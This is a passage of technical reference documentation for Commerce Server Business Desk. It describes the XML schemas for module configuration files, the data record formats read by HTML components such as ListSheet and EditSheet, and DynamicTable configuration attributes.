id | Provides an identifier for the category. Required. Legal values: Generally one word, all lowercase, with no underscores or other special characters. Default value: None. This identifier is also used as the value of the category element of the moduleconfig element to associate a module configuration file with each defined category. The value of the id attribute for each category must be unique.

Return to XML Structure

name

This required element specifies the name of the category as the Commerce Server Business Desk user sees it.

Parent Element
category
Required Child Elements
None.
Optional Child Elements
None.
Data
The category name, as the Business Desk user sees it.
Attributes
None.

Remarks

The specified category name must identify the accessibility key by underlining one of the characters in the name. Properly escaped HTML must be used to implement the underlining: the appropriate character must be preceded by the string &lt;U&gt; and followed by the string &lt;/U&gt;.

For example, if the category name is Content and the accessibility key is "c", the name must be specified as &lt;U&gt;C&lt;/U&gt;ontent. This results in the HTML string <U>C</U>ontent, which appears in the browser as Content.

Return to XML Structure

key

This required element specifies a character that serves as the accessibility key associated with the category.

Parent Element
category
Required Child Elements
None.
Optional Child Elements
None.
Data
The accessibility key, which the Commerce Server Business Desk user sees as an underlined character in the category name.
Attributes
None.

Remarks

The accessibility key for the category should specify the same character identified with underlining in the category name. For example, if the category name is specified such that the user sees the string Content, the character "c" must appear between the <key> and </key> tags.

Return to XML Structure

tooltip

This required element provides a brief description of the purpose of the modules contained within the category, and should be more descriptive than the category name itself.

Parent Element
category
Required Child Elements
None.
Optional Child Elements
None.
Data
The category tooltip string, which the Commerce Server Business Desk user sees when the cursor is over the category name.
Attributes
None.

Return to XML Structure

moduleconfigs

This required element contains references to the various module configuration files specified for this instance of Commerce Server Business Desk.

Parent Element
config
Required Child Elements
moduleconfig (typically contains at least one for each category element defined within the categories element)
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

Multiple modules per category can be defined in two ways. First, multiple moduleconfig elements identifying the same category but different module configuration files can be defined. Modules are shown in the category in the same order that the moduleconfig elements appear.

Second, multiple modules can be defined in a single module configuration file, and linked to a category with a single moduleconfig element.

The two approaches can be combined.

Return to XML Structure

moduleconfig

This required element specifies a specific module configuration file for use in this instance of Commerce Server Business Desk.

Parent Element
moduleconfigs
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
category | Specifies the identifier of the category associated with the modules defined in the module configuration file specified by the id attribute. Required. Legal values: This identifier must match the value of the id attribute specified for one of the category elements. Default value: None.
id | Specifies the (pathless) name of the XML file containing the configuration information for the modules in the specified category. Required. Legal values: The name of an existing module configuration file. Default value: None.

Return to XML Structure


Module Configuration Files

The module configuration files, which contain XML, specify the configuration information at the module level for Commerce Server Business Desk. Each module configuration file is referenced by a moduleconfig element in the master configuration file, together making up the overall configuration of categories and modules for a particular instance of Business Desk. The module configuration files can be thought of as include files for the master configuration file.

This topic explains the contents of the module configuration files. Specifically, it shows the XML structure, where each element name is a link to a description of the contents of that element, and where the attributes of each element are shown in italic, without the equal sign and value that normally accompanies them. Required elements and attributes are shown in bold; optional elements and attributes are not bolded.

The XML schema for the master configuration file can be found in a file Bdmodule-schema.xml in the Business Desk Config folder.

Note

  • The XML elements and attributes in the module configuration files must be expressed in lowercase letters.

XML Structure

<?xml version = '1.0' encoding='windows-1252' ?>
<config>
  <actions>
    <action id helptopic>
      <name>action name</name>
      <tooltip>action tooltip</tooltip>
      <tasks>
        <task icon id type>
          <goto action>menu item name</goto>
          <postto action formname>menu item name</postto>
          <name>task name</name>
          <key>access key from above</key>
          <tooltip>task tooltip</tooltip>
        </task>
        ...
        <task icon id type>
          ...
        </task>
      </tasks>
    </action>
    ...
    <action id helptopic>
      ...
    </action>
  </actions>
  <modules>
    <module id>
      <name>module name</name>
      <tooltip>module tooltip</tooltip>
    </module>
    ...
    <module id>
      ...
    </module>
  </modules>
</config>

config

This required element contains all configuration information in the module configuration files.

Parent Element
None (document root).
Required Child Elements
actions, modules
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

actions

This required element contains one or more action elements specified for the modules defined in this module configuration file.

Parent Element
config
Required Child Elements
action (at least one)
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

action

This required element specifies a particular action available within the module. This includes the URL of the ASP page associated with the action, and identifies the appropriate Help topic and the tasks available within the action.

Parent Element
actions
Required Child Elements
name, tooltip, tasks
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
helptopic | Specifies the name of the Help file that corresponds to this action. Required. Legal values: The name of an existing HTML Help file, specified without a path or a file extension. Default value: None.
id | Specifies the URL of the entry point ASP page for this action. Required. Legal values: The URL of an existing entry point ASP page, specified relative to the Commerce Server Business Desk root. Default value: None.

Remarks

Every ASP page that is referenced as the target of a task or module must be identified with an action element. This is required for the Business Desk Framework to properly manage navigation between modules and between the action pages in a module.

Return to XML Structure

name

This required element provides a name for this action.

Parent Element
action
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the action.
Attributes
None.

Remarks

If the specific action name contains any HTML formatting directives, proper escaping must be used. For example, the string &lt; must be used for the "<" character, the string &gt; must be used for the ">" character, and the string &amp; must be used for the "&" character.

This element will be used to display in the task button details page in the security Permissions module.

Return to XML Structure

tooltip

This required element provides text that is used as the title attribute for the action.

Parent Element
action
Required Child Elements
None.
Optional Child Elements
None.
Data
The tooltip string associated with the action, which is displayed when the cursor is over the task button.
Attributes
None.

Return to XML Structure

tasks

This required element contains zero or more task elements defined for this action.

Parent Element
action
Required Child Elements
None.
Optional Child Elements
task
Data
None.
Attributes
None.

Remarks

A tasks element does not typically contain zero elements. This corresponds to an action page with no tasks.

There cannot be more than 22 task elements specified within any given tasks element.

Return to XML Structure

task

This required element specifies a particular task available from this action. This includes a specification of one or more ASP pages that serve as entry points to the task, and provides the task name and tooltip information.

Parent Element
tasks
Required Child Elements
name, key, tooltip, goto, postto

(goto and postto are mutually exclusive)

Optional Child Elements
task
Data
None.

Attributes

Attribute Description
icon Specifies the (pathless) name of an icon file to display in the corresponding task button.

Optional.

Legal values: The name of an existing icon file, specified without a path.

Default value: None.

If no icon file is supplied, the value of the name element contained in the task element is used as button text.
id Specifies an identifier for the task, which is typically set to the same value as the icon attribute, but without the "task" prefix.

Required.

Legal values: A unique string to distinguish the task from other tasks.

Default value: None.

The following id attribute values result in special framework behavior: "save", "saveback", "savenew", "back", and "find":

find: stays on the same page and toggles the display of the find pane on the page.

back: always re-enabled after a task is run.

save, saveback and savenew: enabled/disabled automatically by the framework if you have set the proper event handlers on the associated events in the master EditSheet HTC.
type Specifies either that a task menu should be used to distinguish between multiple sub-tasks, or that a non-menu task should be shown in the task context menu.

Optional.

Legal values: Either the string "menu" or the string "context".

Default value: None.

This attribute should be set to the value "menu" when multiple goto or postto elements are provided and a task menu is to be used to choose between the available sub-tasks. Otherwise, this attribute can be set to "context" when the task should also appear in the task context menu.

Remarks

Each task appears as a task button at the top of the page when the action page is displayed.

Return to XML Structure

goto

This element specifies one of possibly several ASP pages that serve as entry points to this task. Every task must contain at least one goto or postto element, and may contain more than one. However, goto and postto elements cannot both appear in the same task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
When a task menu is being used, the element data is used as the task menu item name corresponding to this choice.

Attributes

Attribute Description
action Specifies the URL of one of possibly several entry point ASP pages for this task.

Required.

Legal values: The URL of an existing entry point ASP page, specified relative to the Commerce Server Business Desk root.

Default value: None.

This value must correspond to the value of the id attribute for one of the action elements specified in this module configuration file.

Remarks

When multiple goto elements are specified, the preferred method for allowing the user to decide between them is to use a task menu. The type attribute of the task element should be set to the value "menu", and the multiple goto elements should each contain data to be used as the name of that choice in the drop-down task menu.

When task menus are used, the icon specified by the icon attribute should specify that the task is a task menu. For more information about task icons, and task menu icons in particular, see Icons.

When task menus are used, there cannot be more than 30 task menu items (goto elements) specified.

Another method lets users choose in a selection dialog box provided by the module. At times, however, the choice is determined by other factors, such as the type of item selected in a ListSheet HTC.

Return to XML Structure

postto

This element specifies one of possibly several ASP pages that serve as entry points to this task. Every task must contain at least one postto or goto element, and may contain more than one. However, both postto and goto elements must not appear in the same task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
When a task menu is being used, the element data is used as the task menu item name corresponding to this choice.

Attributes

Attribute Description
action Specifies the URL of one of possibly several entry point ASP pages for this task.

Required.

Legal values: The URL of an existing entry point ASP page, specified relative to the Commerce Server Business Desk root.

Default value: None.

This value must correspond to the value of the id attribute for one of the action elements specified in this module configuration file.
formname Specifies the name of the form that is posted to the URL specified by the action attribute.

Required.

Legal values: The name of an existing form element.

Default value: None.

Remarks

When multiple postto elements are specified, the preferred method for allowing the user to decide between them is to use a task menu. The type attribute of the task element should be set to the value "menu", and the multiple postto elements should each contain data to be used as the name of that choice in the drop-down task menu.

When task menus are used, the icon specified by the icon attribute should be of the correct type to specify that the task is a task menu. For more information about task icons, and task menu icons in particular, see Icons.

When task menus are used, there cannot be more than 30 task menu items (postto elements) specified.

At times, however, the choice is determined by other factors, such as the type of item selected in a ListSheet HTC. At times, however, the choice is determined by other factors, such as the type of item selected in a ListSheet HTC.

Return to XML Structure

name

This required element specifies the name of this task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
The name of the task.
Attributes
None.

Remarks

This name is used as the button text if no icon file is specified for this task. Otherwise the name is not used.

If the specific task name contains any HTML formatting directives, proper escaping must be used. For example, the string &lt; must be used for the "<" character, the string &gt; must be used for the ">" character, and the string &amp; must be used for the "&" character.

Return to XML Structure

key

This required element specifies a character that serves as the accessibility key associated with the task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
The single character that serves as the accessibility key for this task, which should correspond to an underlined character in the task name.
Attributes
None.

Remarks

The accessibility key for the task should specify the same character identified with underlining in the task name. For example, if the task name is specified such that the user sees the string Delete, the character "d" must appear between the <key> and </key> tags.

Return to XML Structure

tooltip

This optional element provides a very brief description of the purpose of this task, and should be more descriptive than the task name itself. The provided text is set as the title attribute for the task button, and is visible when the cursor is over the task.

Parent Element
task
Required Child Elements
None.
Optional Child Elements
None.
Data
The task tooltip, as shown when the cursor is over the task button.
Attributes
None.

Return to XML Structure

modules

This required element contains one or more module elements.

Parent Element
config
Required Child Elements
module
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

module

This required element provides information used in the display of a module entry below a category in the navigation pane. It also identifies a corresponding action. Together, this information defines the entry points into a module.

Parent Element
modules
Required Child Elements
name, tooltip
Optional Child Elements
None.
Data
None.

Attributes

Attribute Description
id Specifies the URL of the entry point ASP page for this module.

Required.

Legal values: The URL of an existing entry point ASP page, specified relative to the Commerce Server Business Desk root.

Default value: None.

This value must correspond to the value of the id attribute for one of the action elements specified in this module configuration file.

Remarks

A given (conceptual) module may have more than one entry point action associated with it.

Return to XML Structure

name

This required element specifies the name of the module as the Commerce Server Business Desk user sees it in the navigation pane.

Parent Element
module
Required Child Elements
None.
Optional Child Elements
None.
Data
The module name, as the user sees it.
Attributes
None.

Remarks

If the specific module name contains any HTML formatting directives, proper escaping must be used. For example, the string &lt; must be used for the "<" character, the string &gt; must be used for the ">" character, and the string &amp; must be used for the "&" character.

Return to XML Structure

tooltip

This optional element provides a very brief description of the purpose of this module, and should be more descriptive than the module name itself. The provided text is set as the title attribute for the module entry in the navigation pane.

Parent Element
module
Required Child Elements
None.
Optional Child Elements
None.
Data
The module tooltip, as shown when the cursor is over the module name.
Attributes
None.

Return to XML Structure


HTML Component Data Representation

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk to represent the data that is displayed within the various HTML components (HTCs) that are provided as part of the Business Desk Framework. For the most part, a single standard format is used, though it can be nested more deeply for some controls than for others. In general, an XML data-island with this structure is one of two data-islands that must exist for a particular HTC to operate correctly.

Many of the HTML components (HTCs) in the Commerce Server Business Desk Framework expect the data they display to be provided in this standard XML data record format, available as an XML document on the page. These HTCs include DynamicTable, EditField, EditSheet, ListEditor, and ListSheet. In general, this XML structure contains a single tier of record elements, where each record element contains the same set of child elements. Child element names are arbitrary (shown as dataidN in the structures below), but they do need to correspond to the value of certain id attributes in the corresponding configuration information for the HTC in question.

Note

  • Certain types of ListSheet HTCs expect more than a single tier of record elements, as described below.

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The other XML structure in this category is used to represent the nodes in the TreeView HTC. This structure is unique because the data and configuration information are embedded into the same XML structure. For more information about the TreeView HTC combined data and configuration structure, see TreeView Configuration.

This section contains:

  • Mapping Data to Metadata. Describes how items of data from the DataXML data-island are mapped to the data descriptions provided in the MetaXML data-island.
  • Multi-Tiered Data Record Formats. Introduces two- and three-tiered data record formats, and describes which varieties of the ListSheet HTC expect which format.
  • Standard Data Record XML Structure. Provides detailed information about the elements and attributes of the standard data record format.
  • XMLList and XMLRecord Properties. Discusses two variations of the standard data record format that are used as event object properties and normal HTC properties by the DynamicTable, ListEditor, and ListSheet HTCs.


Mapping Data to Metadata

The following table shows how the names of the elements that are children of the record element correspond to attribute settings in the configuration information for various HTCs.

HTC Using One-Tier XML Data Data Mapping
DynamicTable

EditField

EditSheet

ListEditor

 The dataid element names contained in the record elements in the XML data should correspond to the value of the id attribute for the child elements of the fields element in the XML metadata.

The child elements of the fields element are the set: boolean, date, numeric, select, text, and time.
ListSheet

ListEditor

 The dataid element names contained in the record elements in the XML data should correspond to the value of the id attribute for the column elements in the XML meta data.

Note

  • In the ListSheet HTC, this is the column element that is a child of the columns element, not the column element that is a child of the subobject element.

ListSheet HTCs that use this form of data display flat lists. In this case the meta data subobject element should not be used.

Note

  • Since the ListEditor HTC embeds both a ListSheet HTC and an EditSheet HTC, and its metadata contains both field elements and column elements, the dataid element is interpreted both ways.


Multi-Tiered Data Record Formats

More complex forms of the ListSheet HTC make use of two- and three-tiered XML structures for their data. Essentially, these alternate structures allow nested record elements to two and three levels, respectively. Both of these alternate structures are shown below.

The following table shows how the ListSheet HTC makes use of the two- and three-tiered XML structures for the various types of ListSheet HTCs. Since there are two types of column elements in the metadata for the ListSheet HTC (child elements of the columns and subobject elements, respectively), the following table qualifies instances of the column element with the appropriate parent element in parentheses.

Types of ListSheet HTC | Data Mapping
Flat List | Uses the one-tiered XML structure for data, as described above.
Two-level Homogeneous Grouped List | The dataid element names contained in the second-level record elements in the XML data should correspond to the value of the id2 attribute for the column (columns) elements in the XML metadata. There should not be a third level in the data XML structure, and the id3 attribute of the metadata column (columns) element is not used. In this case the metadata subobject element should not be used.
Three-level Homogeneous Grouped List | The dataid element names contained in the second-level and third-level record elements in the XML data should correspond to the values of the id2 and id3 attributes for the column (columns) elements, respectively, in the XML metadata. In this case the metadata subobject element should not be used.
List-style Heterogeneous Grouped List and Properties-style Heterogeneous Grouped List | The dataid element names contained in the second-level record elements in the XML data should correspond to the value of the id attribute for the column (subobject) elements in the XML metadata. There should not be a third level in the data XML structure, and the id2 and id3 attribute of the column (columns) element is not used.


Standard Data Record XML Structure

The following XML structures show the one-, two-, and three-tiered versions of the data record format, where element names link to a description of the contents of that element, and where the attributes of each element are shown in italic, without the equal sign and value that normally accompanies them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the standard data record format must be expressed in lowercase letters.

XML Structure

One-Tier Format

<document recordcount>
    <record>
        <dataid1>Value</dataid1>
        <dataid2>Value</dataid2>
        <dataid3>Enumeration value</dataid3>
        <dataid3_displayname>Display name for value</dataid3_displayname>
        ...
        <dataidN>Value</dataidN>
    </record>
    ...
    <record>
        <dataid1>Value</dataid1>
        <dataid2>Value</dataid2>
        <dataid3>Enumeration value</dataid3>
        <dataid3_displayname>Display name for value</dataid3_displayname>
        ...
        <dataidN>Value</dataidN>
    </record>
    <error id source>Detailed error message</error>
    <warning>Warning message</warning>
</document>

Two-Tier Format

<document recordcount>
    <record>
        <dataid1>Value</dataid1>
        <dataid2>Value</dataid2>
        <record>
            <dataid21>Value</dataid21>
            <dataid22>Value</dataid22>
        </record>
    </record>
    <error id source>Detailed error message</error>
    <warning>Warning message</warning>
</document>

Three-Tier Format

<document recordcount>
    <record>
        <dataid1>Value</dataid1>
        <dataid2>Value</dataid2>
        <record>
            <dataid21>Value</dataid21>
            <dataid22>Value</dataid22>
            <record>
                <dataid31>Value</dataid31>
                <dataid32>Value</dataid32>
            </record>
        </record>
    </record>
    <error id source>Detailed error message</error>
    <warning>Warning message</warning>
</document>

document

This required element is the XML root element within the XML data-island and contains the record elements, potentially nested to three levels in depth.

Parent Element
None (document root).
Required Child Elements
record (one or more)
Optional Child Elements
None.
Data
None.

Attributes

Attribute Description
recordcount Specifies the number of (top level) record elements contained by this element.

Required only by the ListSheet HTC so that it can properly update the page controls when using HTTP fetch operations. It is not used by any other HTCs and is ignored if present.

Legal values: positive integers, 0, and -1.

A value of 0 indicates an empty list. Such a list must contain a single record element containing empty sub-elements.

A value of –1 indicates a list of unknown size. The ListSheet HTC displays such lists as a multi-page list with an unknown number of pages.

Default value: None.

Return to XML Structure

record

This required element contains all the data for a particular record. This data is represented as a series of contained elements, one for each field in the record.

Parent Element
document
Required Child Elements
None.
Optional Child Elements
dataid, record
Data
None.
Attributes
None.

Remarks

There can be one or more record elements. The record element contains dataid elements, and for two- and three-tiered XML structures, other record elements.

Return to XML Structure

dataid

These elements contain the data to be displayed in a particular field in the associated HTC. No element with a particular name is required, though a record element without any contained dataid elements would not be a very interesting record.

Parent Element
record
Required Child Elements
None.
Optional Child Elements
None.
Data
The actual data value.
Attributes
None.

Remarks

The names of these elements typically originate as field names in the ADO Recordset object from which this XML structure is derived. The standard set of functions used to convert ADO Recordset objects to XML use the Recordset field name as the corresponding element name in the produced XML.

These names are also used to associate each data value with a particular column being displayed in a particular HTC. All HTCs that are passed a data-island in this format are also passed a corresponding data-island identified by the MetaXML container attribute. Data-islands of this latter type have elements that correspond to the data to be displayed. These elements describe the data, including such information as their data types. They also include an id attribute. The value of the id attribute should be the same as the name of the dataid element in the data-island associated with the DataXML container attribute.

The following table shows, for each HTC using a DataXML data-island of this format, the MetaXML element whose id attribute corresponds to the name of a dataid element in that data-island.

HTCs | MetaXML Elements | Notes
DynamicTable | id attribute of boolean, date, numeric, select, text, and time elements. | The value of the id attribute of one of the child elements of the fields element corresponds to a dataid element in the DataXML data-island.
EditField | id attribute of boolean, date, numeric, select, text, and time elements. | The value of the id attribute of one of the child elements of the fields element corresponds to a dataid element in the DataXML data-island. It also corresponds to the value of the DataID container attribute.
EditSheet | id attribute of boolean, date, numeric, select, text, and time elements. | The value of the id attribute of one of the child elements of the fields element corresponds to a dataid element in the DataXML data-island.
ListEditor | id attribute of boolean, date, numeric, select, text, and time elements. | The value of the id attribute of one of the child elements of the fields element corresponds to a dataid element in the DataXML data-island.
ListSheet | id attribute of column (columns) element. id2 attribute of column (columns) element. id3 attribute of column (columns) element. id attribute of column (subobject) element. | The value of the dataid element can occur in these four distinct places in the corresponding MetaXML data-island, depending on the type of ListSheet HTC being employed. For more information, see the detailed explanation at the beginning of this topic.

Return to XML Structure

dataid_displayname

These elements contain enumerated data to be displayed in a particular field in the associated HTC. No such element pairs sharing a particular name root (dataid) are required.

Parent Element
record
Required Child Elements
None.
Optional Child Elements
None.
Data
dataid: The actual data value.

dataid_displayname: The display name associated with the dataid element.

Attributes
None.

Remarks

Data for enumerated types is handled somewhat differently than other data types within the data-islands corresponding to the DataXML container attribute. The data value itself is formatted the same as the other types — as data contained within an element whose name serves to identify that data.

A display name associated with the enumerated type may be supplied in the data-island as data for another, sibling XML element. The name of the sibling element is the same as for the corresponding value, with the string "_displayname" appended to it.

For example, suppose that for a select element within the MetaXML data-island associated with an EditSheet HTC (or a column element with its format attribute set to "select" within the MetaXML data-island associated with a ListSheet HTC), the id attribute is set to "eyecolor". In the corresponding DataXML data-island, there should be elements that look like the first line in the following example, and there can optionally be lines like the second line in the following example:

    <eyecolor>3</eyecolor>
    <eyecolor_displayname>Blue</eyecolor_displayname>

In this example, the value "3" corresponds to blue eyes, and the string "Blue" is displayed to the user.

If the DataXML data-island does not contain the _displayname variety of elements, the HTC inserts such elements into the DataXML data-island. This is accomplished through the following series of steps:

  1. Search the MetaXML data-island for a select element with an id attribute that matches the data element name from the DataXML data-island.
  2. If such a select element is found, search its option elements for one that has a value attribute with a value equal to the actual data in the DataXML data-island.
  3. If such an option element is found, use its data value as the data contained in the newly inserted data_element_name_displayname element.

In some situations the page itself will have to set the proper _displayname elements because there are more than one possible select elements within the MetaXML data-island that might need to be searched. Which one should be used probably depends on some other setting on the page, which only that page is in a position to know. For an example of this behavior, see the page Regionaltax.asp in the Tax module. This page contains a DynamicTable HTC with two select fields that must be kept synchronized.

Return to XML Structure

error

This optional element contains information used to format a client error dialog using the utility routine ShowXMLNodeErrors. For more information about this routine, see ShowXMLNodeErrors (client-side).

Parent Element
document
Required Child Elements
None.
Optional Child Elements
None.
Data
A detailed error message to be displayed. This is usually constructed using one of the following routines: sGetScriptError, sGetADOError, sGetASPError, or sGetXMLError. For more information about these routines, see sGetScriptError (server-side), sGetADOError (server-side), sGetASPError (server-side), and sGetXMLError (server-side), respectively.

Attributes

Attribute | Description
id | Reserved for future use. Optional (for now). Legal values: An integer value. Default value: None.
source | Specifies a friendly error message to show to the user. Required. Legal values: Valid strings. Default value: None.

Remarks

There can be zero or more error elements.

The ListSheet and TreeView HTCs will automatically display any error nodes in data returned from a fetch operation.

Error nodes can be easily added to your XML document using the utility routine AddErrorNode. For more information about this routine, see AddErrorNode (server-side).

Return to XML Structure

warning

This optional element contains information that can be used to format a client warning (non-fatal) dialog.

Parent Element
document
Required Child Elements
None.
Optional Child Elements
None.
Data
A warning message to be display.
Attributes
None.

Remarks

There can be zero or more warning elements.

The ListSheet and TreeView HTCs will automatically display any warning nodes in data returned from a fetch operation.

Error nodes can be easily added to your XML document using the utility routine AddWarningNode. For more information about this routine, see AddWarningNode (server-side).

Return to XML Structure


XMLList and XMLRecord Properties

Certain properties associated with HTML Component (HTC) events, and certain properties of the HTCs themselves, return two different variations of the standard data record format, as nested XML DOM objects starting with an XMLDOMElement object. The two variations are an XMLList, which contains multiple records, and an XMLRecord, which contains a single record.

The following table shows the circumstances under which the relevant HTCs make use of properties of these forms.

HTC XMLList and XMLRecord Usage
DynamicTable HTC XMLList:
  • XMLList property of the window.event object in the OnChange event.
  • XMLList HTC property.

XMLRecord:

  • XMLRecord property of the window.event object in the OnChange event.
ListEditor HTC XMLList:
  • XMLList property of the window.event object in the OnChange event.
  • XMLList HTC property.

XMLRecord:

  • XMLRecord property of the window.event object in the OnEdit event.
  • XMLRecord property of the window.event object in the OnNew event.
ListSheet HTC XMLList:
  • XMLList HTC property.

XMLRecord:

  • XMLRecord property of the window.event object in the OnRowSelect event.
  • XMLRecord property of the window.event object in the OnRowUnselect event.

This section contains:

  • XMLList Property Structure. Describes the XML structure of the XMLList property.
  • XMLRecord Property Structure. Describes the XML structure of the XMLRecord property.


XMLList Property Structure

The structure of the XMLList property is as follows. The top level node is an XMLDOMELement object with its tagName property set to "document".

<document>
    <record state>
        <dataid1>data</dataid1>
        <dataid2>data</dataid2>
        . . .
    </record>
    <record state>
        <dataid1>data</dataid1>
        <dataid2>data</dataid2>
        . . .
    </record>
    . . .
</document>

When used as a property in the DynamicTable and ListEditor HTCs, both of which allow changes to the data, an additional attribute, named state, is associated with each record element. The state attribute can have one of the following four possible values:

  • An empty string indicating that the record is unchanged
  • The value "added", indicating that the record is new
  • The value "changed", indicating that the record has been changed
  • The value "deleted", indicating that the record has been deleted. Records marked as deleted are no longer shown in the list.


XMLRecord Property Structure

The structure of the XMLRecord property is as follows. The top level node is an XMLDOMELement object with its tagName property set to "record".

<record state>
    <dataid1>data</dataid1>
    <dataid2>data</dataid2>
    . . .
</record>

When used as a property in the DynamicTable and ListEditor HTCs, both of which allow changes to the data, an additional attribute, named state, is associated with each record element. The state attribute can have one of the following four possible values:

  • An empty string indicating that the record is unchanged
  • The value "added", indicating that the record is new
  • The value "changed", indicating that the record has been changed
  • The value "deleted", indicating that the record has been deleted. Records marked as deleted are no longer shown in the list.


HTML Component Configuration

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk to provide metadata about the data being displayed. For example, if the data is displayed in columns, this structure specifies information about each of those columns, such as the column heading, how the data itself should be formatted, the column width, and whether the column can be sorted. In general, an XML data-island of this type is one of two data-islands that must exist for a particular HTML component (HTC) to operate correctly.

This section contains:

  • DynamicTable Configuration. Describes the XML structure of the configuration information for the DynamicTable HTC. Since the DynamicTable HTC makes use of embedded EditField HTCs, much of the configuration information is shared between the two. For more details, see EditField Configuration.
  • EditField Configuration. Describes the XML structure of the configuration information for one or more EditField HTCs.
  • EditSheet Configuration. Describes the XML structure of the configuration information for the EditSheet HTC. Because the EditSheet HTC makes use of embedded EditField HTCs, much of the configuration information is shared between the two. For more details, see EditField Configuration.
  • ExpressionBuilder Configuration. Describes the XML structure of the configuration information for the ExpressionBuilder HTC.
  • ListEditor Configuration. Describes the XML structure of the configuration information for the ListEditor HTC. Because the ListEditor HTC makes use of embedded EditField HTCs, much of the configuration information is shared between the two. For more details, see EditField Configuration.
  • ListSheet Configuration. Describes the XML structure of the configuration information for the ListSheet HTC.
  • QueryBuilder Configuration. Describes the XML structure of the configuration information for the QueryBuilder HTC.
  • TreeView Configuration. Describes the XML structure of the combined data and configuration information used by the TreeView HTC.


DynamicTable Configuration

The XML data-island identified by the MetaXML container attribute contains the configuration information used by the DynamicTable HTML component (HTC).

For more information about how an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.

The structure of this data-island is shown below, with links to more detailed explanations of each element. Element attributes are shown in italic and without the values that are normally associated with them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

Note

  • The XML elements and attributes in the MetaXML data-island for the DynamicTable HTC must be expressed in lowercase letters.

XML Structure

<dynamictable>
  <global removebutton keycol newbutton overx
          required sortbykey uniquekey />
  <fields>
    <boolean browse browsereadonly default disabled hide
             id onbrowse onchange onerror readonly width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <name>Column heading name</name>
      <label>Checkbox label</label>
    </boolean>
    <date browse browsereadonly default disabled firstday
          hide id max min onbrowse onchange onerror
          onrequire onvalid readonly required width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <format>Date format to use</format>
      <error>Validation error message</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
    </date>
    <numeric browse browsereadonly default disabled hide id
             max min onbrowse onchange onerror onrequire
             onvalid readonly required subtype width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <format>Number format to use</format>
      <error>Validation error message</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
    </numeric>
    <select browse browsereadonly default disabled
            hide htmloptions id multilingual onbrowse
            onchange onerror onvalid readonly width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
      <select id>
        <option value>Item display name</option>
      </select>
      ...
      <select id>
        <option value>Item display name</option>
      </select>
    </select>
    <text browse browsereadonly default disabled hide id
          maxlen minlen multilingual onbrowse onchange onerror
          onrequire onvalid readonly required subtype width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <charmask>Validation character mask</charmask>
      <error>Validation error message</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
    </text>
    <time browse browsereadonly default disabled hide
          id max min onbrowse onchange onerror
          onrequire onvalid readonly required width
      <browsetooltip>Tooltip for browse button</browsetooltip>
      <error>Validation error message</error>
      <name>Column heading name</name>
      <prompt>Empty control prompt</prompt>
    </time>
  </fields>
</dynamictable>

dynamictable

This required element serves as the container for the DynamicTable configuration data that identifies it as intended for use with a DynamicTable HTC.

Parent Element
None (document root).
Required Child Elements
global, fields
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

global

This required element provides configuration information that affects the general behavior of the DynamicTable HTC.

Parent Element
dynamictable
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
removebutton | Specifies whether the Remove button will be displayed. Optional. Legal values: "yes" and "no". Default value: "yes". If the value is "no", the Remove button will not be displayed.
keycol | Specifies the ID of the field that will be used as the record key for sorting, unique key checks, and so forth. Required. Each field type for which sorting is allowed (numeric and text types only) has the required attribute id; this attribute must be set to one of those id values.
newbutton | Specifies whether the New button will be displayed. Optional. Legal values: "yes" and "no". Default value: "yes". If the value is "no", the New button will not be displayed.
overx | Controls the display of the last row in the table. Optional. Legal values: "yes" and "no". Default value: "no". If the value is "yes", the last row in the table is manipulated after each sort operation based on the value in the field specified by the keycol attribute. If the value of this field in the last row is "–1", the field is displayed as "Over X", where "X" is the value in the same field, one row above. If the value of this field in the last row is not "-1", a new row is inserted with "Over X" text in that field and all other fields being empty. In the case where there are no rows, a row is inserted with "Over 0" displayed in the key column. For more information about the OverX feature of the DynamicTable HTC, see OverX Feature.
required | Specifies whether the table can be empty, and controls the display of the "required" icon. Optional. Legal values: "yes" and "no". Default value: "no". If the value is "yes", the table cannot be empty.
sortbykey | Specifies whether the table is re-sorted according to the values in the field specified by the keycol attribute when the Done button is pressed. Optional. Legal values: "yes" and "no". Default value: "no". If the value is "yes", the re-sorting is performed.
uniquekey | Specifies whether the uniqueness of values in the key column should be enforced. Optional. Legal values: "yes" and "no". Default value: "no". If the value is "yes", uniqueness validation is performed.

Return to XML Structure

fields

This required element contains the elements that specify the fields to be displayed in the DynamicTable HTC.

Parent Element
dynamictable
Required Child Elements
None.
Optional Child Elements
boolean, date, numeric, select, text, time
Data
None.
Attributes
None.

Remarks

The fields element must contain at least one child element, though in general it will contain several such elements, corresponding to a DynamicTable HTC with several columns.

Child elements within the fields element are displayed as columns in the DynamicTable HTC. The field specified as the key is always displayed as the first column; all other fields are displayed in the order in which they appear within the fields element.

The child elements of the fields element are essentially the same as the elements that can be defined as child elements of the editfield element in the configuration data for the EditField HTC. The primary difference is that sometimes there are some additional attributes that can be defined for the child elements when they occur within the context of the DynamicTable HTC. For information about shared attributes, see Shared EditField Attributes.

